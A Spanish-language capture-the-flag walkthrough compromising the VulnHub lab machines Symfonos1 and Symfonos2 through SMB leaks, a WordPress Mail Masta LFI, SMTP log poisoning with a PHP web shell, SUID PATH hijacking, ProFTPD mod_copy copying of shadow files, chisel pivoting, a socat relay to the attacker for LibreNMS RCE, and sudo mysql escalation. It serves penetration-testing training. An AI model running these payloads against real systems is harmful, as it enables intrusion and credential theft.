¡Hola! Vamos a resolver de la máquina Symfonos1 de dificultad “Fácil” de la plataforma VulnHub
para posteriormente hacer pivoting a la máquina Symfonos2 de dificultad “Media” de la plataforma VulnHub
Técnicas Vistas (Symfonos1):
- Note: On this machine we have configured an internal network to Pivot to Symfonos2
- SMB Enumeration
- Information Leakage
- WordPress Enumeration
- Abusing WordPress Plugin - Mail Masta 1.0
- Local File Inclusion (LFI)
- LFI + Abusing SMTP service to achieve RCE
- Abusing SUID privilege + PATH Hijacking [Privilege Escalation]
- EXTRA: Pivoting Lab with Symfonos 2
Técnicas Vistas (Symfonos2):
- EXTRA: Creation of bash script to discover computers on the internal network
- EXTRA: Creation of a bash script to discover the open ports of the computers discovered in the internal network
- EXTRA: Remote Port Forwarding - Playing with Chisel (From Symfonos 1)
- EXTRA: Socks5 connection with Chisel (Pivoting) (From Symfonos 1)
- EXTRA: FoxyProxy + Socks5 Tunnel
- EXTRA: Port enumeration with nmap through proxychains
- SMB Enumeration
- FTP Exploitation - Abusing SITE CPFR/CPTO
- Abusing FTP & SMB - Obtaining files from the machine
- SSH Connection via Proxychains
- SSH + Local Port Forwarding in order to access internal LibreNMS
- Playing with socat to define connection flow
- LibreNMS Exploitation (User Pivoting) [RCE]
- Abusing sudoers privilege (mysql) [Privilege Escalation]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Symfonos1
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento (Symfonos1)
Primero de todo necesitamos saber la IP de la máquina víctima que se encuentra funcionando dentro de nuestra red local. Procedemos a escanear todos los equipos de nuestra red local
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ arp-scan -I ens33 --localnet
Interface: ens33, type: EN10MB, MAC: 00:0c:29:8d:05:79, IPv4: 192.168.1.148
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 e4:ca:12:8c:78:a5 zte corporation
192.168.1.130 1e:be:cd:3e:7d:44 (Unknown: locally administered)
192.168.1.131 ac:67:84:98:f6:07 (Unknown)
192.168.1.134 9c:20:7b:b1:3e:47 Apple, Inc.
192.168.1.128 00:55:da:56:56:66 IEEE Registration Authority
192.168.1.145 2c:f0:5d:0a:0a:f1 (Unknown)
192.168.1.150 00:0c:29:66:05:2c VMware, Inc.
192.168.1.143 b8:bc:5b:e8:00:67 Samsung Electronics Co.,Ltd
192.168.1.139 06:02:44:3c:f1:88 (Unknown: locally administered)
192.168.1.137 f4:34:f0:50:7e:76 (Unknown)
192.168.1.147 d8:a3:5c:73:eb:02 (Unknown)
192.168.1.151 b8:bc:5b:e8:00:67 Samsung Electronics Co.,Ltd
Tras analizar la respuesta del escaneo observamos por el OUI (Organizationally unique identifier) 00:0c:29 que corresponde a VMWare Inc ya que la máquina víctima funciona bajo un entorno de virtualización VMWare por lo que su IP es 192.168.1.150
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 192.168.1.150
PING 192.168.1.150 (192.168.1.150) 56(84) bytes of data.
64 bytes from 192.168.1.150: icmp_seq=1 ttl=64 time=42.3 ms
--- 1192.168.1.149 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 64.
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
7
8
nmap -p- --open --min-rate 5000 -vvv -n -Pn 192.168.1.150 -oG allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
25/tcp open smtp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
nmap -sCV -p22,80 192.168.1.150 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
|_ 256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after: 2029-06-26T00:29:42
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn t have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
MAC Address: 00:0C:29:61:46:45 (VMware)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe: o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h59m59s, deviation: 3h27m50s, median: 0s
|_nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-time:
| date: 2022-11-17T17:21:35
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos
| NetBIOS computer name: SYMFONOS\x00
| Domain name: \x00
| FQDN: symfonos
|_ System time: 2022-11-17T11:21:35-06:00
Reconocimiento Web (Symfonos1)
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
❯ whatweb http://192.168.1.150
http://192.168.1.150 [200 OK] Apache[2.4.25], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.25 (Debian)], IP[192.168.1.150]
Accedemos al servicio http y observamos una imagen estática sin funcionalidad
Reconocimiento SMB (Symfonos1)
Comenzamos enumerando servicios compartidos a nivel de red. Localizamos un recurso anonymous
al cual podemos acceder sin credenciales. Listando su contenido vemos un archivo attention.txt
, lo descargamos a nuestro equipo y listamos su contenido
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ smbclient -L //192.168.1.150/ -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
helios Disk Helios personal share
anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)
SMB1 disabled -- no workgroup available
❯ smbclient //192.168.1.150/anonymous -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat Jun 29 03:14:49 2019
.. D 0 Sat Jun 29 03:12:15 2019
attention.txt N 154 Sat Jun 29 03:14:49 2019
19994224 blocks of size 1024. 17279824 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 154 as attention.txt (50,1 KiloBytes/sec) (average 50,1 KiloBytes/sec)
smb: \> exit
❯ cat attention.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: attention.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'!
3 │
4 │ Next person I find using one of these passwords will be fired!
5 │
6 │ -Zeus
7 │
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Parece que se están utilizando contraseñas no muy ‘seguras’. Detectamos en la enumeración SMB una carpeta compartida del usuario helios
. Con la herramienta smbmap
nos conectamos al servicio SMB con la contraseña qwerty
, ahora ya podemos acceder al directorio personal de helios. Localizamos dos archivos research.txt
y todo.txt
, nos los descargamos a nuestro directorio de trabajo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ smbmap -H 192.168.1.150 -u helios -p qwerty
[+] IP: 192.168.1.150:445 Name: symfonos.local
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
helios READ ONLY Helios personal share
anonymous READ ONLY
IPC$ NO ACCESS IPC Service (Samba 4.5.16-Debian)
❯ smbmap -H 192.168.1.150 -u helios -p qwerty -r helios
[+] IP: 192.168.1.150:445 Name: symfonos.local
Disk Permissions Comment
---- ----------- -------
helios READ ONLY
.\helios\*
dr--r--r-- 0 Sat Jun 29 02:32:05 2019 .
dr--r--r-- 0 Wed Dec 28 11:22:32 2022 ..
fr--r--r-- 432 Sat Jun 29 02:32:05 2019 research.txt
fr--r--r-- 52 Sat Jun 29 02:32:05 2019 todo.txt
El contenido de research.txt
no es relevante pero encontramos una posible ruta en el archivo todo.txt
1
2
3
4
5
6
7
8
9
10
❯ cat todo.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: todo.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ 1. Binge watch Dexter
3 │ 2. Dance
4 │ 3. Work on /h3l105
5 │
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Parece que nos econtramos ante un WordPress pero no cargan bien los recursos. Examinando el código fuente vemos que los recursos apuntan al dominio symfonos.local
, agregamos a nuestro /etc/hosts
Seguimos con la herramienta wpscan
enumerando posibles plugins vulnerables. Encontramos plugin Mail Masta
vulnerable a LFI
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ wpscan --url http://symfonos.local/h3l105/ --enumerate vp --plugins-detection aggressive --plugins-version-detection aggressive
.
.
| [!] Title: Mail Masta <= 1.0 - Unauthenticated Local File Inclusion (LFI)
| References:
| - https://wpscan.com/vulnerability/5136d5cf-43c7-4d09-bf14-75ff8b77bb44
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10956
| - https://www.exploit-db.com/exploits/40290/
| - https://www.exploit-db.com/exploits/50226/
| - https://cxsecurity.com/issue/WLB-2016080220
|
.
.
Con la herramienta searchsploit
buscamos vulnerabiliadades del plugin Mail Masta
y econtramos un archivo txt donde nos explican como explotar el LFI
. Nos indican el el PoC cómo listar el archivo /etc/passwd
1
2
3
Typical proof-of-concept would be to load passwd file:
http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
Probamos en nuestra máquina víctima y confirmamos que funciona
Volviendo a la enumeración de puertos abiertos recordemos que tenemos el puerto 25 con el servicio SMTP
funcionando. Listamos el contenido de la ruta /var/mail/helios
Como tenemos acceso a los logs del servicio smtp y sabemos que el LFI apunta a un recurso en PHP vamos a tratar de ejecutar un Log Poisoning
inyectando un código en PHP para que lo interprete y así lograr un RCE
. Para realizar esta acción nos conectaremos a la máquina víctima por telnet a tarvés del puerto 25
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ telnet 192.168.1.150 25
Trying 192.168.1.150...
Connected to 192.168.1.150.
Escape character is '^]'.
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
MAIL FROM: yorch
250 2.1.0 Ok
RCPT TO: helios
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
<?php system($_GET['cmd']); ?>
.
250 2.0.0 Ok: queued as 593FE40BA2
QUIT
221 2.0.0 Bye
Connection closed by foreign host.
Verificamos el log del usuario helios y comprobamos que nuestro código está presente
Agregando &cmd=id
a la url logramos ejecutar el comando id
en la máquina víctima
Nos ponemos en escucha en el puerto 443 y ejecutamos oneliner para entablar una reverse shell
1
2
3
4
5
6
7
8
9
❯ sudo nc -nlvp 443
[sudo] password for yorch:
listening on [any] 443 ...
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.150] 41714
bash: cannot set terminal process group (571): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.4$ whoami
whoami
helios
Escalada de Privilegios (Symfonos1)
Comenzamos la enumeración para la escalada de privilegios, listando grupos y privilegios de sudo no econtramos nada interesante. Buscamos por archivos con privilegios SUID y localizamos un binario /opt/statuscheck
. Ejecutamos y observamos output
1
2
3
4
5
6
7
8
9
10
bash-4.4$ ./statuscheck
HTTP/1.1 200 OK
Date: Mon, 02 Jan 2023 09:41:17 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Accept-Ranges: bytes
Content-Length: 328
Vary: Accept-Encoding
Content-Type: text/html
Listando cadenas de caracteres del binario vemos que está ejecutando un curl
a localhost
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bash-4.4$ strings statuscheck
/lib64/ld-linux-x86-64.so.2
libc.so.6
system
__cxa_finalize
__libc_start_main
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
curl -I H
http://lH
ocalhostH
.
.
.
Nos dirigimos al directorio /dev/shm
y creamos nuestro propio curl
el cual asignará privilegios SUID a la bash. Mediante Path Hijacking
haremos que el binario ejecute nuestro curl
malicioso
1
2
3
4
5
6
7
8
bash-4.4$ pwd
/dev/shm
bash-4.4$ cat curl
chmod u+s /bin/bash
bash-4.4$ export PATH=.:$PATH
bash-4.4$ /opt/statuscheck
bash-4.4$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
Lanzamos bash con privilegios de root con bash -p
1
2
3
bash-4.4$ bash -p
bash-4.4# whoami
root
Hemos completado la máquina Symfonos1 de VulnHub!!
Reconocimiento (Symfonos2)
Iniciamos el reconocimiento de la máquina Symfonos2
. Necesitamos saber su IP y los puertos abiertos que tiene esta máquina. Para ello nos haremos un pequeño script en bash el cual nos ayudará con la tarea. Sabiendo que la IP de la máquina Symfonos en el segmento es 10.10.0.141 vamos a escanear todas las IP en el segmento 10.10.0.0/24
1
2
3
4
5
#!/bin/bash
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 10.10.0.$i" &>/dev/null && echo "[+] Host 10.10.0.$i - ACTIVO" &
done; wait
1
2
3
4
bash-4.4# ./hostDiscovery.sh
[+] Host 10.10.0.1 - ACTIVO
[+] Host 10.10.0.137 - ACTIVO
[+] Host 10.10.0.141 - ACTIVO
Ya sabemos que la IP de la máquina Symfonos2
es la 10.10.0.137. Ahora procedemos a enumerar los puertos abiertos mediante otro script en bash
1
2
3
4
5
#!/bin/bash
for port in $(seq 1 65535); do
timeout 1 bash -c "echo '' > /dev/tcp/10.10.0.137/$port" 2>/dev/null && echo "[+] Port $port - OPEN" &
done; wait
1
2
3
4
5
6
bash-4.4# ./portDiscovery.sh
[+] Port 22 - OPEN
[+] Port 21 - OPEN
[+] Port 80 - OPEN
[+] Port 139 - OPEN
[+] Port 445 - OPEN
A partir de este punto para trabajar más cómodamente vamos a crear un túnel por el cual nos vamos a poder acceder a la máquina Symfonos2
desde nuestra equipo atacante a pesar de no tener conexión directa al no estar en el mismo segmento. Para esta tarea utilizaremos la herarmienta chisel
la cual debemos subir a la máquina Symfonos
que es la que está en el mismo segmento que la Symfonos2
. Los ejecutaremos de la siguiente forma
1
2
3
4
5
6
#Atacante
❯ ./chisel server --reverse -p 1234
2023/01/02 11:01:42 server: Reverse tunnelling enabled
2023/01/02 11:01:42 server: Fingerprint SLf70qZ8u1T/5WfZrBSnlsTXOZJy7f/w6elCaFW8bWU=
2023/01/02 11:01:42 server: Listening on http://0.0.0.0:1234
2023/01/02 11:02:08 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
1
2
3
4
#Inferno
bash-4.4# ./chisel client 192.168.1.148:1234 R:socks
2023/01/02 04:02:09 client: Connecting to ws://192.168.1.148:1234
2023/01/02 04:02:09 client: Connected (Latency 639.323µs)
Añadimos al firefox una regla en el add-on Foxy proxy de la siguiente forma y ya podemos acceder por el navegador directamente a la máquina Symfonos2
por el puerto 80
Continuamos con la enumeración de los 500 puertos más comunes en la máquina.
1
2
3
4
5
6
7
8
❯ proxychains nmap -p- --top-ports 500 --open -T5 -v -n -sT -Pn 10.10.0.137 2>&1 -oG allPorts | grep -vE "timeout|OK"
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
proxychains nmap -sT -Pn -sCV -p21,22,80,139,445 10.10.0.137 -oN targeted
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 9d:f8:5f:87:20:e5:8c:fa:68:47:7d:71:62:08:ad:b9 (RSA)
| 256 04:2a:bb:06:56:ea:d1:93:1c:d2:78:0a:00:46:9d:85 (ECDSA)
|_ 256 28:ad:ac:dc:7e:2a:1c:f6:4c:6b:47:f2:d6:22:5b:52 (ED25519)
80/tcp open http WebFS httpd 1.21
|_http-title: Site doesn t have a title (text/html).
|_http-server-header: webfs/1.21
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Host: SYMFONOS2; OSs: Unix, Linux; CPE: cpe: o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-01-02T10:18:41
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.5.16-Debian)
| Computer name: symfonos2
| NetBIOS computer name: SYMFONOS2\x00
| Domain name: \x00
| FQDN: symfonos2
|_ System time: 2023-01-02T04:18:42-06:00
|_clock-skew: mean: 2h00m02s, deviation: 3h27m53s, median: 0s
Reconocimiento SMB (Symfonos2)
Comenzamos enumerando servicios compartidos a nivel de red. Localizamos un recurso anonymous/basckups
al cual podemos acceder sin credenciales. Listando su contenido vemos un archivo log.txt
, lo descargamos a nuestro equipo y listamos su contenido
1
2
3
4
5
6
7
8
9
10
11
12
❯ proxychains smbmap -H 10.10.0.137 -r anonymous/backups
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.137:445-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.137:445-<><>-OK
[+] Guest session IP: 10.10.0.137:445 Name: 10.10.0.137
Disk Permissions Comment
---- ----------- -------
anonymous READ ONLY
.\anonymousbackups\*
dr--r--r-- 0 Thu Jul 18 16:25:17 2019 .
dr--r--r-- 0 Wed Dec 28 12:15:44 2022 ..
fr--r--r-- 11394 Thu Jul 18 16:25:16 2019 log.txt
En la primera línea del log encontramos algo interesante. Parece ser que en algún momento el usuario root realiza una copia del archivo shadow
en el directorio /var/backups
. También observamos que el recurso compartido anonymous
del cual sacamos el log está sincronizado con el directorio /home/aeolus/share
del usuario aeolus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ cat log.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: log.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ root@symfonos2:~# cat /etc/shadow > /var/backups/shadow.bak
2 │ root@symfonos2:~# cat /etc/samba/smb.conf
.
.
.
[anonymous]
258 │ path = /home/aeolus/share
259 │ browseable = yes
260 │ read only = yes
261 │ guest ok = yes
.
.
.
Explotación ProFTPD (Symfonos2)
Volviendo a los servicios encontrados vemos que en el puerto 21 hay una versión un poco antigua de ProFTPD
. Buscamos vulnerabilidades asociadas a este servicio
1
2
3
4
5
6
7
8
9
❯ searchsploit proftpd 1.3.5
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Si observamos el contenido de linux/remote/36742.txt
vemos que podemos copiar archivos de la máquina a un directorio determinado
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
---------------------------------
Trying 80.150.216.115...
Connected to 80.150.216.115.
Escape character is '^]'.
220 ProFTPD 1.3.5rc3 Server (Debian) [::ffff:80.150.216.115]
site help
214-The following SITE commands are recognized (* => s unimplemented)
214-CPFR <sp> pathname
214-CPTO <sp> pathname
214-UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
214-SYMLINK <sp> source <sp> destination
214-RMDIR <sp> path
214-MKDIR <sp> path
214-The following SITE extensions are recognized:
214-RATIO -- show all ratios in effect
214-QUOTA
214-HELP
214-CHGRP
214-CHMOD
214 Direct comments to root@www01a
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto /tmp/passwd.copy
250 Copy successful
-----------------------------------------
Procedemos a conectarnos al servicio FTP y copiar el archivo /var/backups/shadow.bak
al directorio /home/aeolus/share
al cual tenemos acceso por SMB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯proxychains ftp 10.10.0.137
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.137:21-<><>-OK
Connected to 10.10.0.137.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.0.137]
Name (10.10.0.137:yorch): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
530 Login incorrect.
Login failed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> site help
214-The following SITE commands are recognized (* => s unimplemented)
CPFR <sp> pathname
CPTO <sp> pathname
HELP
CHGRP
CHMOD
214 Direct comments to root@symfonos2
ftp> site cpfr /var/backups/shadow.bak
350 File or directory exists, ready for destination name
ftp> site cpto /home/aeolus/share/shadow.bak
250 Copy successful
Si listamos el contenido del recurso compartido anonymous
vemos que tenemos la copia del archivo shadow.bak
. Nos lo descargamos y crackeamos el hash para obtener la contraseña del usuario aeolus
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ proxychains smbmap -H 10.10.0.137 -r anonymous
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.137:445-<><>-OK
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.137:445-<><>-OK
[+] Guest session IP: 10.10.0.137:445 Name: 10.10.0.137
Disk Permissions Comment
---- ----------- -------
anonymous READ ONLY
.\anonymous\*
dr--r--r-- 0 Wed Dec 28 12:15:44 2022 .
dr--r--r-- 0 Thu Jul 18 16:29:08 2019 ..
dr--r--r-- 0 Thu Jul 18 16:25:17 2019 backups
fr--r--r-- 1173 Mon Jan 2 12:08:19 2023 shadow.bak
1
2
3
4
5
6
7
8
❯ john -w:/usr/share/wordlists/rockyou.txt shadow.bak
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Remaining 2 password hashes with 2 different salts
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sergioteamo (aeolus)
Con las credenciales obtenidas nos podemos conectar por SSH a la máquina víctima
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ proxychains ssh aeolus@10.10.0.137
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.137:22-<><>-OK
aeolus@10.10.0.137 s password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec 28 05:33:17 2022 from 10.10.0.141
aeolus@symfonos2:~$ hostname -I
10.10.0.137
Explotación LibreNMS (Symfonos2)
Listando grupos y privilegios de sudo no localizamos nada interesante. Seguimos listando puertos internos abiertos y localizamos puerto 8080
1
2
3
4
5
6
7
8
9
10
11
12
13
14
aeolus@symfonos2:~$ ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 80 127.0.0.1:3306 *:*
LISTEN 0 50 *:139 *:*
LISTEN 0 128 127.0.0.1:8080 *:*
LISTEN 0 32 *:21 *:*
LISTEN 0 128 *:22 *:*
LISTEN 0 20 127.0.0.1:25 *:*
LISTEN 0 50 *:445 *:*
LISTEN 0 50 :::139 :::*
LISTEN 0 64 :::80 :::*
LISTEN 0 128 :::22 :::*
LISTEN 0 20 ::1:25 :::*
LISTEN 0 50 :::445 :::*
Mediante SSH aplicamos port forwarding para traernos el puerto 8080 a nuestra máquina
1
2
3
4
5
6
7
8
9
10
11
12
13
❯ proxychains ssh aeolus@10.10.0.137 -L 8080:127.0.0.1:8080
ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1080-<><>-10.10.0.137:22-<><>-OK
aeolus@10.10.0.137 s password:
Linux symfonos2 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1+deb9u3 (2019-06-16) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jan 2 05:13:19 2023 from 10.10.0.141
En nuestro navegador accedemos a localhost:8080
y vemos un panel de login de LibreNMS
Reutilizando credenciales de aeolus
nos conectamos al dashboard de LibreNMS
Buscamos vulnerabilidades asociadas a LibreNMS y localizamos un script en python que nos derica a un RCE
1
2
3
4
5
6
7
8
9
10
searchsploit librenms
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
LibreNMS - addhost Command Injection (Metasploit) | linux/remote/46970.rb
LibreNMS - Collectd Command Injection (Metasploit) | linux/remote/47375.rb
LibreNMS 1.46 - 'addhost' Remote Code Execution | php/webapps/47044.py
LibreNMS 1.46 - 'search' SQL Injection | multiple/webapps/48453.txt
LibreNMS 1.46 - MAC Accounting Graph Authenticated SQL Injection | multiple/webapps/49246.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Viendo el contenido del script en python 47044.py
entendemos que hay que inyectar un payload en el campo community
de la ruta /addhost
. Indicamos Ip de la máquina Symfonos1 por el puerto 4646
Mediante la herramienta socat
vamos a redirigir las conexiones que entren en la máquina Symfonos por el pueto 4646 a nuestro equipo atacante por el mismo puerto. En una consola a parte volvemos a ganar acceso a la máquina symfonos y ejecutamos socat
1
2
#Symfonos
bash-4.4$ socat TCP-LISTEN:4646,fork TCP:192.168.1.148:4646
En nuestro equipo nos ponemos en escucha en el puerto 4646 y en LibreNMS vamos a Devices > test > Config > Capture > SNMP y ejecutamos con Run
Escalada de Privilegios (Symfonos2)
Listando privilegios de sudo vemos que tenemos capacidad de ejecutar binario mysql
como sudo. Una consulta a GTFObins nos revela cómo elevar los privilegios
1
2
3
4
5
6
7
8
9
cronus@symfonos2:/opt/librenms/html$ sudo -l
Matching Defaults entries for cronus on symfonos2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cronus may run the following commands on symfonos2:
(root) NOPASSWD: /usr/bin/mysql
cronus@symfonos2:/opt/librenms/html$ sudo mysql -e '\! /bin/sh'
# id
uid=0(root) gid=0(root) groups=0(root)
Hemos completado la máquina Symfonos2 de VulnHub!! Happy Hacking!!